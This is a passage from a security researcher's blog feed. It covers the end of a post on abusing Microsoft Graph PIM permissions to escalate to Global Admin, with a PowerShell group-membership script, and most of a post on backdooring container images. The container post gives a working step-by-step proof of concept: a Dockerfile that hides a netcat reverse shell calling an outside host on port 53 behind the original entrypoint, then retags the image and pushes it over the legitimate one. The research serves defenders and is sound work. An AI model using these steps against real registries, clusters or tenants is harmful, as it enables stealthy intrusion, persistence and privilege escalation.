
# Set user info
$userId = &apos;&apos;

# Set targeted group info
$groupId = &apos;&apos;


# Acquire MS Graph access token
$securePassword = ConvertTo-SecureString -String $password -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $appId, $securePassword
Connect-AzAccount -ServicePrincipal -TenantId $tid -Credential $credential
$token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token

# Request membership update of role-assignable group (membership is set to last 24 hours)
$oid = (Get-AzADServicePrincipal -ApplicationId $appid).Id
$yesterday = (get-date).AddDays(-1).ToString(&quot;yyyy-MM-ddTHH:mm:ss.000Z&quot;)

$uri = &apos;https://graph.microsoft.com/beta/identityGovernance/privilegedAccess/group/assignmentScheduleRequests&apos;
$headers = @{
    &apos;Authorization&apos;= &quot;Bearer $token&quot;
    &apos;Content-Type&apos; = &apos;application/json&apos;
}

$activeAssignment = @{
    action = &apos;adminAssign&apos;
    justification = &apos;PoC&apos;
    accessId = &apos;member&apos;
    groupId = $groupId
    principalId = $userId
    scheduleInfo = @{
        startDateTime = $yesterday
        expiration = @{
            type = &apos;afterDuration&apos;
            duration = &apos;PT24H&apos;
        }
    }
}

$body = ConvertTo-Json -InputObject $activeAssignment
$response = Invoke-WebRequest -Method Post -Uri $uri -Headers $headers -Body $body
$response
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;By executing the above PowerShell script, we can confirm that the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt; or &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedassignmentschedulereadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt; permission can be leveraged to add a controlled user account to a role-assignable group and escalate privileges via the group’s membership:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/11_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/11_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/12_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/12_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/13_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/13_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;As mentioned in the introduction, I am currently working on a tier model to categorize MS Graph application permissions based on known attacks paths. We have seen that the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#roleassignmentschedulereadwritedirectory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleAssignmentSchedule.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedassignmentschedulereadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt; permission, all represent a risk for escalating to Global Admin.&lt;/p&gt;

&lt;p&gt;Therefore, these permissions should be classified as Tier-0, together with other permissions that have at least one known technique to create a path to Global Admin. This does &lt;strong&gt;not&lt;/strong&gt; mean a path necessarily exist in every tenant, as privilege escalations are often tenant specific, but the objective of the model is to identify permissions with a &lt;strong&gt;risk&lt;/strong&gt; of having a path to Global Admin. Note that the table format used in the “Overview of abuse information” sections is the format that will be used for documenting Tier-0 assets in the first version of the tier model.&lt;/p&gt;

&lt;p&gt;Finally, some readers may wonder about situations where an active PIM assignment requires the use of MFA, due to a role management policy. Stay assured, bypassing constraints of this kind will be addressed in details in part 3 of this series, so stay tuned 😉&lt;/p&gt;
</description>
          <pubDate>2024-07-25T00:00:00+00:00</pubDate>
          <link>https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-1/</link>
          <guid isPermaLink="true">https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-1/</guid>
        </item>
      
    
      
        <item>
          <title>Infecting container images to spread in large-scale container-based infrastructures</title>
          <description>&lt;h2 id=&quot;tldr&quot;&gt;TL;DR&lt;/h2&gt;

&lt;p&gt;This blog post provides a technical description of how legitimate container images hosted on a registry can be seamlessly backdoored, in order to spread within large-scale container-based infrastructures.&lt;/p&gt;

&lt;p&gt;The techniques demonstrated show how any type of container image (i.e. distrofull or distroless) can be infected with a backdoor connecting to an attacker-controlled location, while keeping the original behavior of the image unchanged once instantiated in a container.&lt;/p&gt;

&lt;p&gt;The goal is to demonstrate how such techniques can be used to spread in container-based infrastructures such as Kubernetes environments in a stealthy way, when organizations trust container images blindly from public or private registries.
Organizations with a micro-service architecture should review how they deploy software containers to ensure they are not susceptible to this kind of attack.&lt;/p&gt;

&lt;p&gt;This blog post covers the following:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;How to infect both distrofull and distroless images with a reverse-shell backdoor, while keeping the original behavior of the containerized software&lt;/li&gt;
  &lt;li&gt;How this technique can be used to spread to multiple places of a container-based infrastructure like Kubernetes&lt;/li&gt;
  &lt;li&gt;How to protect against such attacks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;!--end_of_excerpt--&gt;&lt;/p&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Over the past few years, the use of software containers in large-scale enterprise environments has become extremely popular due to the industry shift from traditional silo deployments to micro-service architectures.&lt;/p&gt;

&lt;p&gt;Kubernetes has rapidly become the de-facto standard for managing software containers at scale, due to its numerous integrations with major Cloud providers and large community behind it.&lt;/p&gt;

&lt;p&gt;Although there are many great resources describing how to secure a Kubernetes cluster, there is one question that many hardening guidance tend to fail answering completely: how to ensure the integrity of container images at all time?&lt;/p&gt;

&lt;p&gt;We will see that implicitly trusting container images, even when custom-made and hosted on a private registry, creates a significant risk for a container-based infrastructure such as Kubernetes, as it allows threat actors to spread to multiple locations of the infrastructure.&lt;/p&gt;

&lt;h2 id=&quot;background&quot;&gt;Background&lt;/h2&gt;

&lt;p&gt;Container images consist of the central piece of software containerization, as they are the ones software containers are built upon.&lt;/p&gt;

&lt;p&gt;As illustrated below, the process for creating a software container starts with a simple text file called a Dockerfile (on the left). The latter is often referred to as the container’s blueprint, as it holds the instructions describing what the end container will look like in terms of directories and software packages it will contain.&lt;/p&gt;

&lt;p&gt;A Dockerfile is then built into an immutable container image (in the middle), which represents the container’s shareable package that can be used to “ship code”.&lt;/p&gt;

&lt;p&gt;A software container (on the right) only consists of an instantiation of a container image. Container images are therefore the central piece of the containerization process, as they consist of the actual packages that can be shared with others via container registries.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2023-05-23-infecting-container-images/01_diagram_container_creation_process.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2023-05-23-infecting-container-images/01_diagram_container_creation_process.png&quot; alt=&quot;The container creation process&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Figure 1: The creation process of a software container&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;A container registry may either be private with authentication and network requirements (at least it should) or public, effectively allowing anyone to publish and share container images with the world. Since the beginning, Docker Hub has been the largest public container-image registry in the world and is the implicit registry used to pull images defined in the FROM instruction of a Dockerfile, if no explicit registry-URL is specified.&lt;/p&gt;

&lt;p&gt;Similar to other version control systems, container registries are organized into repositories, where each repository contains multiple versions of a single container image with a specific software, application or Linux distribution. As illustrated below, each version of an image is represented with an image tag in the form of an ASCII string containing lowercase and uppercase letters, digits, underscores, periods and dashes, with a maximum length of 128 characters. Each version of an image is also identified with a unique SHA256 digest that may be used as an alternative to an image tag when referenced in a Dockerfile, or pulled directly from a registry.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2023-05-23-infecting-container-images/02_diagram_container_registry_architecture.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2023-05-23-infecting-container-images/02_diagram_container_registry_architecture.png&quot; alt=&quot;Architecture of a container registry&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Figure 2: Architecture of a container registry&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2023-05-23-infecting-container-images/03_diagram_pulling_from_container_registry_using_nametag_digest.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2023-05-23-infecting-container-images/03_diagram_pulling_from_container_registry_using_nametag_digest.png&quot; alt=&quot;Example of a user pulling a container image from a registry using its name and tag or SHA256 image digest&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Figure 3: Example of a user pulling a container image from a registry using its name and tag or SHA256 image digest&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;It is important to understand that container images are actually made out of layers, where each layer corresponds to an instruction defined in the image’s Dockerfile. Thanks to this layering system, container images are able to build upon each other, in order to avoid building everything from scratch every single time. As illustrated below, the high-level process for building a container image based on another one is as follows:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The container-runtime manager (typically containerd or CRI-O) downloads the image specified in the FROM instruction from its corresponding registry, in order to be used as a base image referred to as “layer 0” (since no explicit registry is defined, Docker Hub is used implicitly in this case)&lt;/li&gt;
  &lt;li&gt;The base image is extended with upgraded packages and results in a new intermediate image composed of 2 layers (layer 0 and 1)&lt;/li&gt;
  &lt;li&gt;The “layer 1 image” is extended with a new package and results in a second intermediate image composed of 3 layers (layer 0, layer 1 and layer 2)&lt;/li&gt;
  &lt;li&gt;Since there is no more instruction in the Dockerfile, the second image containing all the layers is what becomes referred to as the “final image“. The final image is the output expected by the end user and corresponds to the image built out of the provided Dockerfile at the beginning of the process&lt;/li&gt;
  &lt;li&gt;At this point, the final image can be instantiated into one or multiple containers&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2023-05-23-infecting-container-images/04_diagram_layering_system_explained.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2023-05-23-infecting-container-images/04_diagram_layering_system_explained.png&quot; alt=&quot;High-level description of the layering system, showing how to build a container image based on another one&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Figure 4: High-level description of the layering system, showing how to build a container image based on another one&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;infecting-container-images-without-altering-their-original-behavior&quot;&gt;Infecting container images without altering their original behavior&lt;/h2&gt;

&lt;p&gt;The high-level approach to infect a container image is simple. The idea is to take advantage of the image layering system, by using a targeted image as a base and extend it with malicious software such as a reverse shell, crypto miner or other malware. Once the legitimate image is infected, the attacker can push it back to the compromised registry to overwrite the original copy, so that the malicious image is used for future deployments instead of the legitimate one.&lt;/p&gt;

&lt;p&gt;It is important to note that a significant limitation of software containers is their inability to run multiple processes in the foreground at the same time. Although a lot of research and tutorials explaining how to infect container images already exist, most of them show how to replace the original process of an infected image with a malicious process (e.g. a reverse shell), therefore altering the original behavior of the image. In a real-world scenario, infections of this kind would be detected almost right away even when no proper monitoring is in place, as the deployed workload would simply not work as expected (imagine if a container expected to run an API is running a crypto miner instead). The threat actor would probably be able to deploy a few malicious containers, but the timespan allocated to attempt doing reconnaissance and escalate privileges before being killed manually, would most likely be too short to achieve anything. Furthermore, developers would understand that something suspicious is happening, helping them to figure out more rapidly that one of their registries has been compromised.&lt;/p&gt;

&lt;p&gt;A stealthy approach to infect container images needs therefore to be as silent as possible from a deployment and runtime perspective, by keeping the original behavior of the image unchanged.&lt;/p&gt;

&lt;h2 id=&quot;proof-of-concept&quot;&gt;Proof of Concept&lt;/h2&gt;

&lt;p&gt;Assuming a threat actor has acquired access to a container registry with write permissions, here is how they can infect images without altering their behaviors:&lt;/p&gt;

&lt;h3 id=&quot;step-1-identify-an-interesting-image-that-is-susceptible-to-regular-deployments&quot;&gt;&lt;strong&gt;Step 1&lt;/strong&gt;: Identify an interesting image that is susceptible to regular deployments&lt;/h3&gt;

&lt;p&gt;In this case, we will assume the registry we have compromised has a container image for the Apache HTTP server used to host simple web applications. This is an interesting location for a first foothold in a container-based infrastructure such as a Kubernetes cluster, as the image is likely to be used as a base to run multiple custom web applications.&lt;/p&gt;

&lt;p&gt;We start therefore with pulling the image from the registry to infect it locally on our client (note that we are using our private Docker-Hub repository for this PoC):&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker pull trs1/httpd-poc:stable
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2023-05-23-infecting-container-images/05_screenshot_pulling_poc_image.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2023-05-23-infecting-container-images/05_screenshot_pulling_poc_image.png&quot; alt=&quot;Pulling a legitimate image from the assumed compromised registry&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;step-2-find-out-the-linux-distribution-used-by-the-legitimate-image&quot;&gt;&lt;strong&gt;Step 2&lt;/strong&gt;: Find out the Linux distribution used by the legitimate image&lt;/h3&gt;

&lt;p&gt;There are probably many ways of doing that, but showing the content of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/os-release&lt;/code&gt; file or similar (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/readhat-release&lt;/code&gt; for distributions based on Red Hat) is usually sufficient.&lt;/p&gt;

&lt;p&gt;The easiest way is to instantiate the image into an interactive container with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sh&lt;/code&gt; shell and use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cat&lt;/code&gt; utility to display the content of that file:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker run –-rm –it trs1/httpd-poc:stable /bin/sh
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /etc/os-release
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2023-05-23-infecting-container-images/06_screenshot_identifying_linux-distro.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2023-05-23-infecting-container-images/06_screenshot_identifying_linux-distro.png&quot; alt=&quot;Identifying the Linux distribution of the image&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In this case, we can see that the Apache image we are targeting is based on Debian 11.&lt;/p&gt;

&lt;h3 id=&quot;step-3-identify-the-original-entrypoint-and-cmd-instructions-used-by-the-legitimate-image&quot;&gt;&lt;strong&gt;Step 3&lt;/strong&gt;: Identify the original ENTRYPOINT and CMD instructions used by the legitimate image&lt;/h3&gt;

&lt;p&gt;The ENTRYPOINT and CMD instructions of a Dockerfile are similar and often lead to confusion when observing how developers write their Dockerfiles. Although they both specify the commands that should be executed when the image is instantiated into a container, their main difference lies in the effective execution of those commands. On one hand, the commands specified with the ENTRYPOINT instruction &lt;u&gt;must&lt;/u&gt; execute, regardless of the options used to deploy the container. On the other hand, the commands specified with the CMD instruction &lt;u&gt;should&lt;/u&gt; execute by default when the image is instantiated, but may be overwritten by the entity deploying the container (usually via command-line arguments or the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;command&lt;/code&gt; instruction in a Kubernetes pod specification).&lt;/p&gt;

&lt;p&gt;When used correctly, the ENTRYPOINT instruction typically points to the binary starting the containerized application (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[“python”, “myapp.py”]&lt;/code&gt;), whereas the CMD instruction contains options for the binary (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[“-a”, “-b”]&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;The next step of the infection process consists therefore of identifying the original command combination that is used when the legitimate image is instantiated into a container, as we need to make sure that command is still executed as expected in our infected version of the image.&lt;/p&gt;

&lt;p&gt;Looking at the building history of the legitimate image is usually enough to identify the original ENTRYPOINT and CMD command combination, but in case that is not sufficient, inspecting the image with the inspect option always does the trick.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2023-05-23-infecting-container-images/07_screenshot_identifying_entrypoint_and_cmd_instructions.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2023-05-23-infecting-container-images/07_screenshot_identifying_entrypoint_and_cmd_instructions.png&quot; alt=&quot;Identifying the ENTRYPOINT and CMD instructions of the legitimate image&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In this case, looking at the building history is sufficient to identify that our targeted image does not have an ENTRYPOINT instruction, and that its CMD command starts the HTTP server using the following command:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;httpd-foreground
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;step-4-infect-the-legitimate-image-with-a-reverse-netcat-shell&quot;&gt;&lt;strong&gt;Step 4&lt;/strong&gt;: Infect the legitimate image with a reverse netcat shell&lt;/h3&gt;

&lt;p&gt;There are multiple ways of infecting a container image, depending on the actual goal the attacker is trying to achieve (e.g. reverse shell, ransomware, etc.). In this case, our goal is to acquire a foothold in the container-based infrastructure(s) where the image is deployed, by infecting it with a reverse netcat shell using the information gathered in the previous steps. The idea is to build an infected image upon the legitimate one, by extending it with our reverse shell, without altering its original behavior.&lt;/p&gt;

&lt;p&gt;In order to keep the original behavior of the legitimate image, we need to make sure our reverse shell runs in the background, while the original ENTRYPOINT and CMD commands still execute in the foreground when the image is instantiated into a container.&lt;/p&gt;

&lt;p&gt;One way to achieve that is by using the screen tool, which allows running multiple sessions of processes in the background. The Dockerfile used to infect a container image based on Debian is therefore as follows:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;FROM &amp;lt;name_of_image_to_infect&amp;gt;
RUN apt-get update &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt-get &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;screen netcat-traditional &lt;span class=&quot;nt&quot;&gt;-y&lt;/span&gt;
ENTRYPOINT screen &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; /bin/nc.traditional &amp;lt;listening_address&amp;gt; &amp;lt;listening_port&amp;gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; /bin/bash &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &amp;lt;original_ENTRYPOINT_command&amp;gt; &amp;lt;original_CMD_command&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Note that depending on the Linux distribution the original image is based on, the package manager used to install the screen and netcat tools will be different. The name of the actual package for netcat and the way to run it might also differ from one distribution to another.&lt;/p&gt;

&lt;p&gt;In our case, the final Dockerfile used to infect the targeted Apache image is as follows:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;FROM trs1/httpd-poc:stable
RUN apt-get update &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt-get &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;screen netcat-traditional &lt;span class=&quot;nt&quot;&gt;-y&lt;/span&gt;
ENTRYPOINT screen &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; /bin/nc.traditional 1.2.3.4 53 &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; /bin/bash &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; httpd-foreground
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note that our netcat listener is listening on the (fake) 1.2.3.4:53 address in this case. The reason for using port 53 is that it tends to be allowed even in infrastructures where outbound traffic is restricted.&lt;/p&gt;

&lt;p&gt;Note also that we are starting our netcat-shell screen and the original command used by the targeted image using an ENTRYPOINT instruction. This will make sure that in case our infected image is instantiated with specific command-line options (common in Kubernetes pod definitions), the execution of our code will not be overwritten, contrary to using a CMD instruction.&lt;/p&gt;

&lt;p&gt;We can now build our Dockerfile to obtain a malicious version of the targeted image as follows, using a tag of our choice (“infected” in this case):&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker build &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; trs1/httpd-poc:infected &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2023-05-23-infecting-container-images/08_screenshot_infecting_image_with_netcat.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2023-05-23-infecting-container-images/08_screenshot_infecting_image_with_netcat.png&quot; alt=&quot;Infecting the legitimate image with reverse netcat shell&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Note that at this point, the IMAGE ID which uniquely identifies container images is different for the original and infected image.&lt;/p&gt;

&lt;h3 id=&quot;step-5-rename-the-infected-image-with-the-name-and-tag-of-the-original-image&quot;&gt;&lt;strong&gt;Step 5&lt;/strong&gt;: Rename the infected image with the name and tag of the original image&lt;/h3&gt;

&lt;p&gt;Remember that container images are identified with a name and tag, separated with a colon character. Since the idea of this attack is to overwrite the legitimate Apache image identified as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;trs1/httpd-poc:stable&lt;/code&gt; on the registry with our infected image, we need to make sure the infected version has the exact same name and tag as the original image, before pushing it to the compromised registry.&lt;/p&gt;

&lt;p&gt;We can rename the infected image using the tag option as follows:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker rmi trs1/httpd-poc:stable
docker tag trs1/httpd-poc:infected trs1/httpd-poc:stable
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2023-05-23-infecting-container-images/09_screenshot_renaming_infected_image.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2023-05-23-infecting-container-images/09_screenshot_renaming_infected_image.png&quot; alt=&quot;Renaming the infected image with the name and tag of the original one&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Note that we first need to delete the original Apache image from our local system, as a single machine cannot host two container images with identical names and tags at the same time.&lt;/p&gt;

&lt;p&gt;Note also that the IMAGE ID of our infected image does not change after its renaming. As illustrated above, the IMAGE ID of both &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;trs1/httpd-poc:infected&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;trs1/httpd-poc:stable&lt;/code&gt; is identical after the renaming, as both images are actually the same (i.e. our infected image).&lt;/p&gt;

&lt;h3 id=&quot;step-6-push-the-infected-image-to-the-compromised-registry&quot;&gt;&lt;strong&gt;Step 6&lt;/strong&gt;: Push the infected image to the compromised registry&lt;/h3&gt;

&lt;p&gt;Now that the infected image has the same name and tag as the original image we are targeting, we can push it back to the registry using the Docker utility:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker push trs1/httpd-poc:stable
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2023-05-23-infecting-container-images/10_screenshot_pushing_infected_image_back_to_registry.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2023-05-23-infecting-container-images/10_screenshot_pushing_infected_image_back_to_registry.png&quot; alt=&quot;Pushing the infected image back to the registry&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2023-05-23-infecting-container-images/11_visible_difference_on_registry_between_infected_and_legitimate_distrofull_image.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2023-05-23-infecting-container-images/11_visible_difference_on_registry_between_infected_and_legitimate_distrofull_image.png&quot; alt=&quot;Visible differences on the registry before and after the infection of a distrofull image&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Note that solely based on the information available on the registry, detecting the infection is not obvious for a human, as the name and tag of the image are the same before and after the infection. Additionally, many container registries do not provide history for images identified with the same name and tag, as tags are supposed to be used for version history. Detecting the infection this way is therefore impossible in most registries (this is the case with Docker Hub for example).&lt;/p&gt;

&lt;p&gt;The only visible difference on the registry before and after the infection is the digest and size of the image. Detecting a change in a SHA256 digest is not very easy for humans, especially when the previous digest of the original image cannot be retrieved from the registry for comparison. Similarly, a slight increase in size might not be screaming red flag for everyone when the increase is so small (less than 15 MB in this case).&lt;/p&gt;

&lt;h3 id=&quot;step-7-wait-for-our-shell-to-call-home&quot;&gt;&lt;strong&gt;Step 7&lt;/strong&gt;: Wait for our shell to call home&lt;/h3&gt;

&lt;p&gt;Now that our infected image is successfully pushed to the compromised registry, we can setup our netcat listener and wait for the image to be deployed as a container and our shell to call home.&lt;/p&gt;

&lt;p&gt;For this PoC, we will act as a developer deploying a pod to a Kubernetes cluster with a container based on our infected image. Note that Kubernetes Deployments and how to expose Services within a cluster or the outside world is out of scope for this article.&lt;/p&gt;

&lt;p&gt;In any real-world scenario, developers always verify that a workload works as expected once deployed (at least they should). In our PoC, the developer is therefore verifying that the Apache server is deployed correctly, by setting up a simple port-forwarding rule to its machine’s localhost on port 8080. As we can see, nothing seems suspicious from a developer’s perspective, as the image still has the same name and tag, while its containerized service works as expected.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2023-05-23-infecting-container-images/12_screenshot_simulating_infected_image_deployment_in_kubernetes.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2023-05-23-infecting-container-images/12_screenshot_simulating_infected_image_deployment_in_kubernetes.png&quot; alt=&quot;Simulating the deployment of the infected image in a Kubernetes cluster&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2023-05-23-infecting-container-images/13_screenshot_simulating_infected_image_deployment_in_kubernetes.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2023-05-23-infecting-container-images/13_screenshot_simulating_infected_image_deployment_in_kubernetes.png&quot; alt=&quot;Simulating the deployment of the infected image in a Kubernetes cluster&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;However, at the same time we can see that our netcat listener has received a connection from the container deployed by the developer. In a real scenario, the first step would be to reckon the compromised system to determine what it is and where it might be located. In this case, a few commands allow us to figure out that we are located in a Kubernetes cluster within a container running as root. From there, common attacks against Kubernetes environments such as escaping the compromised container, escalate privileges within the cluster, attacking the network, pivot to other nodes or even the Cloud solution where the cluster might be running are all potential attack paths to investigate.&lt;/p&gt;

&lt;p&gt;By acquiring a shell in a different place of the cluster every time our infected image is instantiated, a threat actor is therefore able to spread efficiently in large-scale container-based infrastructures such as Kubernetes using this technique.&lt;/p&gt;

&lt;p&gt;Note that in certain situations, this kind of attack may also provide access to a developer’s machine. Indeed, developers might sometimes deploy a container based on an infected image manually on their laptop to debug or test something locally. In such scenarios, the effective attack paths potentially possible are very dependent on how the container has been deployed locally in the first place.&lt;/p&gt;

